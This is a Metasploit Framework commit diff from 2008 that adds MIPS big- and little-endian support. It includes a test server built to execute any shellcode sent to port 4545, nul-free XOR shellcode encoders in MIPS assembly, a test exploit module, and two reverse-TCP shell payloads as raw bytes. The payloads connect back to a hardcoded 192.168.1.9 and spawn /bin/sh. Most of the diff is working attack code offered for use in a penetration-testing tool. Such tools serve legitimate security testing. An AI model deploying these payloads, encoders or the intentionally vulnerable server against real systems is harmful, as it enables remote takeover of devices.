Merge patch from Julien TINNES for MIPS support (LE/BE)

git-svn-id: file:///home/svn/framework3/trunk@5658 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2008-09-15 18:50:34 +00:00
parent 8e97503333
commit 6772685f3e
9 changed files with 694 additions and 0 deletions

View File

@ -0,0 +1,5 @@
all: exploitmel
exploitmel: exploitme-posix.c
gcc -W -Wall $< -o $@
clean:
rm exploitmel

View File

@ -0,0 +1,93 @@
/* exploitme coded in a hurry by Yoann Guillot and Julien Tinnes, used 'man select_tut' as skeleton */
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/mman.h>
#include <malloc.h>
#define LISTEN_PORT 4545
int main(void) {
struct sockaddr_in a;
int s, mysock;
int yes, ret, pagesize;
void *buf;
pagesize = sysconf(_SC_PAGE_SIZE);
if (pagesize == -1) {
perror("pagesize");
return -1;
}
if (pagesize < 4096)
pagesize=(4096/pagesize+1)*pagesize;
printf("Detected pagesize: %d\n", pagesize);
buf=memalign(pagesize, pagesize);
if (buf == NULL) {
perror("memalign");
return -1;
}
if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) {
perror ("socket");
return -1;
}
yes = 1;
if (setsockopt
(s, SOL_SOCKET, SO_REUSEADDR,
(char *) &yes, sizeof (yes)) < 0) {
perror ("setsockopt");
close (s);
return -1;
}
memset (&a, 0, sizeof (a));
a.sin_port = htons (LISTEN_PORT);
a.sin_family = AF_INET;
if (bind
(s, (struct sockaddr *) &a, sizeof (a)) < 0) {
perror ("bind");
close (s);
return -1;
}
printf ("Send your shellcode to port %d\n",
(int) LISTEN_PORT);
listen (s, 10);
for (;;) {
mysock=accept(s, NULL, NULL);
if (mysock == -1) {
perror("accept");
close(s);
return -1;
}
if (!fork()) {
printf("Got new connexion\n");
close(s);
switch (yes=read(mysock, buf, pagesize)) {
case -1:
perror("read");
case 0:
close(mysock);
close(s);
return -1;
}
printf("Read %d bytes\n", yes);
/* This has the useful side effect of flushing the cache on architectures such as MIPS! */
ret=mprotect(buf, pagesize, PROT_READ|PROT_WRITE|PROT_EXEC);
if (ret) {
perror("mprotect");
return -1;
}
((void (*)())buf)();
return 42;
} else
close(mysock);
}
}

View File

@ -39,6 +39,10 @@ module Arch
[addr].pack('V')
when ARCH_MIPS # ambiguous
[addr].pack('N')
when ARCH_MIPSBE
[addr].pack('N')
when ARCH_MIPSLE
[addr].pack('V')
when ARCH_PPC # ambiguous
[addr].pack('N')
when ARCH_SPARC
@ -64,6 +68,10 @@ module Arch
return ENDIAN_LITTLE
when ARCH_MIPS # ambiguous
return ENDIAN_BIG
when ARCH_MIPSLE
return ENDIAN_LITTLE
when ARCH_MIPSBE
return ENDIAN_BIG
when ARCH_PPC # ambiguous
return ENDIAN_BIG
when ARCH_SPARC

View File

@ -66,6 +66,8 @@ LEV_3 = 3
ARCH_ANY = '_any_'
ARCH_X86 = 'x86'
ARCH_MIPS = 'mips'
ARCH_MIPSLE = 'mipsle'
ARCH_MIPSBE = 'mipsbe'
ARCH_PPC = 'ppc'
ARCH_SPARC = 'sparc'
ARCH_CMD = 'cmd'
@ -76,6 +78,8 @@ ARCH_TYPES =
[
ARCH_X86,
ARCH_MIPS,
ARCH_MIPSLE,
ARCH_MIPSBE,
ARCH_PPC,
ARCH_SPARC,
ARCH_ARMLE,

View File

@ -0,0 +1,159 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'metasm'
module Msf
module Encoders
module Mipsbe
class LongXor < Msf::Encoder::Xor
def initialize
super(
'Name' => 'XOR Encoder',
'Version' => '$Revision: 4419 $',
'Description' => %q{
Mips Web server exploit friendly xor encoder
},
'Author' => 'Julien Tinnes <julien at cr0.org>',
'Arch' => ARCH_MIPSBE,
'License' => MSF_LICENSE,
'Decoder' =>
{
'KeySize' => 4,
'BlockSize' => 4,
'KeyPack' => 'N',
})
end
#
# Returns the decoder stub that is adjusted for the size of the buffer
# being encoded.
#
def decoder_stub(state)
# add one xor operation for the key (see comment below)
number_of_passes=state.buf.length/4+1
raise InvalidPayloadSizeException.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 10240
raise InvalidPayloadSizeException.new("The payload is not padded to 4-bytes (#{state.buf.length} bytes)") if state.buf.length%4 != 0
# 16-bits not (again, see below)
reg_14 = (number_of_passes+1)^0xFFFF
decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), <<EOS).encoded.data
;
; MIPS nul-free xor decoder
;
; (C) 2006 Julien TINNES
; <julien at cr0.org>
;
; The first four bytes in encoded shellcode must be the xor key
; This means that you have to put the xor key right after
; this xor decoder
; This key will be considered part of the encoded shellcode
; by this decoder and will be xored, thus becoming 4NULs, meaning nop
;
; This is Linux-only because I use the cacheflush system call
;
; You can use shellforge to assemble this, but be sure to discard all
; the nul bytes at the end (everything after x01\\x4a\\x54\\x0c)
;
; change 2 bytes in the first instruction's opcode with the number of passes
; the number of passes is the number of xor operations to apply, which should be
; 1 (for the key) + the number of 4-bytes words you have in your shellcode
; you must encode ~(number_of_passes + 1) (to ensure that you're nul-free)
;.text
;.align 2
;.globl main
;.ent main
;.type main,@function
main:
li macro reg, imm
; lui reg, ((imm) >> 16) & 0ffffh
; ori reg, reg, (imm) & 0ffffh
addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff
endm
li( $14, #{reg_14}) ; 4 passes
nor $14, $14, $0 ; put number of passes in $14
li( $11,-73) ; addend to calculated PC is 73
;.set noreorder
next:
bltzal $8, next
;.set reorder
slti $8, $0, 0x8282
nor $11, $11, $0 ; addend in $9
addu $25, $31, $11 ; $25 points to encoded shellcode +4
; addu $16, $31, $11 ; $16 too (enable if you want to pass correct parameters to cacheflush
; lui $2, 0xDDDD ; first part of the xor (old method)
slti $23, $0, 0x8282 ; store 0 in $23 (our counter)
; ori $17, $2, 0xDDDD ; second part of the xor (old method)
lw $17, -4($25) ; load xor key in $17
li( $13, -5)
nor $13, $13, $0 ; 4 in $13
addi $15, $13, -3 ; 1 in $15
loop:
lw $8, -4($25)
addu $23, $23, $15 ; increment counter
xor $3, $8, $17
sltu $30, $23, $14 ; enough loops?
sw $3, -4($25)
addi $6, $13, -1 ; 3 in $6 (for cacheflush)
bne $0, $30, loop
addu $25, $25, $13 ; next instruction to decode :)
; addiu $4, $16, -4 ; not checked by Linux
; li $5,40 ; not checked by Linux
; li $6,3 ; $6 is set above
; .set noreorder
li( $2, 4147) ; cacheflush
;.ascii "\\x01JT\\x0c" ; nul-free syscall
syscall 0x52950
; .set reorder
; write last decoder opcode and decoded shellcode
; li $4,1 ; stdout
; addi $5, $16, -8
; li $6,40 ; how much to write
; .set noreorder
; li $2, 4004 ; write
; syscall
; .set reorder
nop ; encoded shellcoded must be here (xor key right here ;)
; $t9 (aka $25) points here
EOS
# put the key at the end of the decoder
state.decoder_key_offset = decoder.length - 4
return decoder
end
end
end end end

View File

@ -0,0 +1,159 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'metasm'
module Msf
module Encoders
module Mipsle
class LongXor < Msf::Encoder::Xor
def initialize
super(
'Name' => 'XOR Encoder',
'Version' => '$Revision: 4419 $',
'Description' => %q{
Mips Web server exploit friendly xor encoder
},
'Author' => 'Julien Tinnes <julien at cr0.org>',
'Arch' => ARCH_MIPSLE,
'License' => MSF_LICENSE,
'Decoder' =>
{
'KeySize' => 4,
'BlockSize' => 4,
'KeyPack' => 'V',
})
end
#
# Returns the decoder stub that is adjusted for the size of the buffer
# being encoded.
#
def decoder_stub(state)
# add one xor operation for the key (see comment below)
number_of_passes=state.buf.length/4+1
raise InvalidPayloadSizeException.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 10240
raise InvalidPayloadSizeException.new("The payload is not padded to 4-bytes (#{state.buf.length} bytes)") if state.buf.length%4 != 0
# 16-bits not (again, see below)
reg_14 = (number_of_passes+1)^0xFFFF
decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:little), <<EOS).encoded.data
;
; MIPS nul-free xor decoder
;
; (C) 2006 Julien TINNES
; <julien at cr0.org>
;
; The first four bytes in encoded shellcode must be the xor key
; This means that you have to put the xor key right after
; this xor decoder
; This key will be considered part of the encoded shellcode
; by this decoder and will be xored, thus becoming 4NULs, meaning nop
;
; This is Linux-only because I use the cacheflush system call
;
; You can use shellforge to assemble this, but be sure to discard all
; the nul bytes at the end (everything after x01\\x4a\\x54\\x0c)
;
; change 2 bytes in the first instruction's opcode with the number of passes
; the number of passes is the number of xor operations to apply, which should be
; 1 (for the key) + the number of 4-bytes words you have in your shellcode
; you must encode ~(number_of_passes + 1) (to ensure that you're nul-free)
;.text
;.align 2
;.globl main
;.ent main
;.type main,@function
main:
li macro reg, imm
; lui reg, ((imm) >> 16) & 0ffffh
; ori reg, reg, (imm) & 0ffffh
addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff
endm
li( $14, #{reg_14}) ; 4 passes
nor $14, $14, $0 ; put number of passes in $14
li( $11,-73) ; addend to calculated PC is 73
;.set noreorder
next:
bltzal $8, next
;.set reorder
slti $8, $0, 0x8282
nor $11, $11, $0 ; addend in $9
addu $25, $31, $11 ; $25 points to encoded shellcode +4
; addu $16, $31, $11 ; $16 too (enable if you want to pass correct parameters to cacheflush
; lui $2, 0xDDDD ; first part of the xor (old method)
slti $23, $0, 0x8282 ; store 0 in $23 (our counter)
; ori $17, $2, 0xDDDD ; second part of the xor (old method)
lw $17, -4($25) ; load xor key in $17
li( $13, -5)
nor $13, $13, $0 ; 4 in $13
addi $15, $13, -3 ; 1 in $15
loop:
lw $8, -4($25)
addu $23, $23, $15 ; increment counter
xor $3, $8, $17
sltu $30, $23, $14 ; enough loops?
sw $3, -4($25)
addi $6, $13, -1 ; 3 in $6 (for cacheflush)
bne $0, $30, loop
addu $25, $25, $13 ; next instruction to decode :)
; addiu $4, $16, -4 ; not checked by Linux
; li $5,40 ; not checked by Linux
; li $6,3 ; $6 is set above
; .set noreorder
li( $2, 4147) ; cacheflush
;.ascii "\\x01JT\\x0c" ; nul-free syscall
syscall 0x52950
; .set reorder
; write last decoder opcode and decoded shellcode
; li $4,1 ; stdout
; addi $5, $16, -8
; li $6,40 ; how much to write
; .set noreorder
; li $2, 4004 ; write
; syscall
; .set reorder
nop ; encoded shellcoded must be here (xor key right here ;)
; $t9 (aka $25) points here
EOS
# put the key at the end of the decoder
state.decoder_key_offset = decoder.length - 4
return decoder
end
end
end end end

View File

@ -0,0 +1,138 @@
##
# $Id: aggressive.rb 5510 2008-05-26 06:34:12Z mmiller $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
module Exploits
module Test
class Exploitme < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'MIPS Aggressive Test Exploit',
'Description' =>
"This module tests the exploitation of a test service.",
'Author' => 'skape and Julien Tinnes',
'License' => MSF_LICENSE,
'Version' => '$Revision: 5510 $',
#'Arch' => ARCH_MIPSBE,
'Payload' =>
{
'MaxNops' => 0,
#'BadChars' => "\x00",
#'StackAdjustment' => -3500,
},
'Targets' =>
[
# Target 0: Universal
[
'Mips big endian',
{
'Platform' => [ 'linux', 'win' ],
'Arch' => ARCH_MIPSBE
}
],
[
'Mips big endian cannot be encoded',
{
'Platform' => [ 'linux', 'win' ],
'Arch' => ARCH_MIPSBE,
'Payload' =>
{
'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s
}
}
], [
'Mips big endian encoder needed',
{
'Platform' => [ 'linux', 'win' ],
'Arch' => ARCH_MIPSBE,
'Payload' =>
{
'BadChars' => "\x00"
}
}
],
[
'Mips little endian',
{
'Platform' => [ 'linux', 'win' ],
'Arch' => ARCH_MIPSLE
}
],
[
'Mips little endian cannot be encoded',
{
'Platform' => [ 'linux', 'win' ],
'Arch' => ARCH_MIPSLE,
'Payload' =>
{
'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s
}
}
], [
'Mips little endian encoder needed',
{
'Platform' => [ 'linux', 'win' ],
'Arch' => ARCH_MIPSLE,
'Payload' =>
{
'BadChars' => "\x00"
}
}
],
],
'DefaultTarget' => 0))
register_options(
[
OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]),
OptInt.new('TestInteger', [ false, "Testing an integer value", nil ])
])
end
def check
return Exploit::CheckCode::Vulnerable
end
def exploit
# Show disassembled payload for context encoder test
if target.name =~ /context encoder/
#puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40])
#FIXME: do this with metasm for MIPS (import new metasm version which fixes current bug!)
end
connect
print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]")
sock.put(payload.encoded)
if (datastore['WaitForInput'])
puts "Type something..."
gets
end
handler
end
end
end
end
end

View File

@ -0,0 +1,64 @@
##
# $Id: shell_reverse_tcp.rb 4984 2007-06-09 02:25:31Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
# Written in a hurry using shellforge and my MIPS shellforge loader (avail. on cr0.org)
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
module Msf
module Payloads
module Singles
module Linux
module Mipsbe
module ShellReverseTcp
include Msf::Payload::Single
include Msf::Payload::Linux
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Command Shell, Reverse TCP Inline',
'Version' => '$Revision: 4984 $',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'Julien Tinnes',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' =>
{
# FIXME: LHOST does'nt patch anything real, host is fixed to 192.168.1.9
# Get shellcode with String.cpu=Metasm::MIPS.new
# sc.decode
# (but Metasploit's version is buggy)
# We need to patch this: (C0A80109 = 192.168.1.9)
# lui $t0, -3f58h ; @4ch 3c08c0a8
# ori $a2, $t0, 109h ; @50h 35060109
'LHOST' => [ 0x130, 'ADDR' ],
'LPORT' => [ 0x5E, 'n' ],
},
'Payload' =>
"\x24\x09\xff\xef\x05\x10\xff\xff\x28\x08\x82\x82\x01\x20\x48\x27\x01\x3f\xc8\x21\xaf\xb9\x85\x48\x23\xb9\x85\x48\x3c\x1c\x00\x00\x27\x9c\x00\x00\x03\x99\xe0\x21\x27\xbd\xff\xd0\xaf\xbc\x00\x00\xaf\xbc\x00\x28\x8f\x84\x00\x00\x00\x00\x00\x00\x24\x84\x00\xf8\x00\x00\x00\x00\x8c\x85\x00\x00\x8c\x87\x00\x04\x3c\x08\xc0\xa8\x35\x06\x01\x09\x27\xb9\x00\x18\x24\x03\x00\x02\x24\x02\x12\x26\xaf\xa5\x00\x18\xaf\xa6\x00\x0c\xaf\xa7\x00\x1c\xa7\xa3\x00\x08\xa7\xa2\x00\x0a\xaf\xb9\x00\x20\xaf\xa0\x00\x24\x24\x04\x00\x02\x24\x05\x00\x02\x00\x00\x30\x21\x24\x02\x10\x57\x00\x00\x00\x0c\x24\x04\xff\xff\x10\x44\x00\x1a\x00\x40\x18\x21\x00\x60\x20\x21\x24\x06\x00\x10\x27\xa5\x00\x08\x24\x02\x10\x4a\x00\x00\x00\x0c\x14\x40\x00\x0e\x00\x00\x28\x21\x24\x02\x0f\xdf\x00\x00\x00\x0c\x24\x05\x00\x01\x24\x02\x0f\xdf\x00\x00\x00\x0c\x24\x05\x00\x02\x24\x02\x0f\xdf\x00\x00\x00\x0c\x03\x20\x20\x21\x27\xa5\x00\x20\x00\x00\x30\x21\x24\x02\x0f\xab\x00\x00\x00\x0c\x00\x00\x20\x21\x24\x02\x0f\xa1\x00\x00\x00\x0c\x03\xe0\x00\x08\x27\xbd\x00\x30\x24\x04\x00\x01\x24\x02\x0f\xa1\x00\x00\x00\x0c\x10\x00\xff\xe4\x00\x60\x20\x21\x2f\x62\x69\x6e\x2f\x73\x68\x00"+"0"*80
# FIXME: remove extra 0 bytes!
}
))
end
end
end end end end end

View File

@ -0,0 +1,64 @@
##
# $Id: shell_reverse_tcp.rb 4984 2007-06-09 02:25:31Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
# Written in a hurry using shellforge and my MIPS shellforge loader (avail. on cr0.org)
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
module Msf
module Payloads
module Singles
module Linux
module Mipsle
module ShellReverseTcp
include Msf::Payload::Single
include Msf::Payload::Linux
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Command Shell, Reverse TCP Inline',
'Version' => '$Revision: 4984 $',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'Julien Tinnes',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' =>
{
# FIXME: LHOST does'nt patch anything real, host is fixed to 192.168.1.9
# Get shellcode with String.cpu=Metasm::MIPS.new
# sc.decode
# (but Metasploit's version is buggy)
# We need to patch this: (C0A80109 = 192.168.1.9)
# lui $t0, -3f58h ; @4ch 3c08c0a8
# ori $a2, $t0, 109h ; @50h 35060109
'LHOST' => [ 0x130, 'ADDR' ],
'LPORT' => [ 0x4C, 'n' ],
},
'Payload' =>
"\xef\xff\x09\x24\xff\xff\x10\x05\x82\x82\x08\x28\x27\x48\x20\x01\x21\xc8\x3f\x01\x48\x85\xb9\xaf\x48\x85\xb9\x23\x00\x00\x1c\x3c\x00\x00\x9c\x27\x21\xe0\x99\x03\x00\x00\x89\x8f\xd8\xff\xbd\x27\xe8\x00\x2a\x25\x04\x00\x47\x8d\xe8\x00\x28\x8d\x01\x09\x04\x3c\xc0\xa8\x83\x34\x18\x00\xb9\x27\x02\x00\x06\x24\x12\x26\x05\x24\x08\x00\xa6\xa7\x0a\x00\xa5\xa7\x18\x00\xa8\xaf\x1c\x00\xa7\xaf\x0c\x00\xa3\xaf\x20\x00\xb9\xaf\x24\x00\xa0\xaf\x02\x00\x04\x24\x02\x00\x05\x24\x21\x30\x00\x00\x57\x10\x02\x24\x0c\x00\x00\x00\x21\x18\x40\x00\xff\xff\x02\x24\x1a\x00\x62\x10\x01\x00\x04\x24\x21\x20\x60\x00\x08\x00\xa5\x27\x10\x00\x06\x24\x4a\x10\x02\x24\x0c\x00\x00\x00\x0e\x00\x40\x14\x21\x28\x00\x00\xdf\x0f\x02\x24\x0c\x00\x00\x00\x01\x00\x05\x24\xdf\x0f\x02\x24\x0c\x00\x00\x00\x02\x00\x05\x24\xdf\x0f\x02\x24\x0c\x00\x00\x00\x21\x30\x00\x00\x21\x20\x20\x03\x20\x00\xa5\x27\xab\x0f\x02\x24\x0c\x00\x00\x00\x21\x20\x00\x00\xa1\x0f\x02\x24\x0c\x00\x00\x00\x08\x00\xe0\x03\x28\x00\xbd\x27\xa1\x0f\x02\x24\x0c\x00\x00\x00\xe5\xff\x00\x10\x21\x20\x60\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00"+"0"*80
# FIXME: remove extra 0 bytes!
}
))
end
end
end end end end end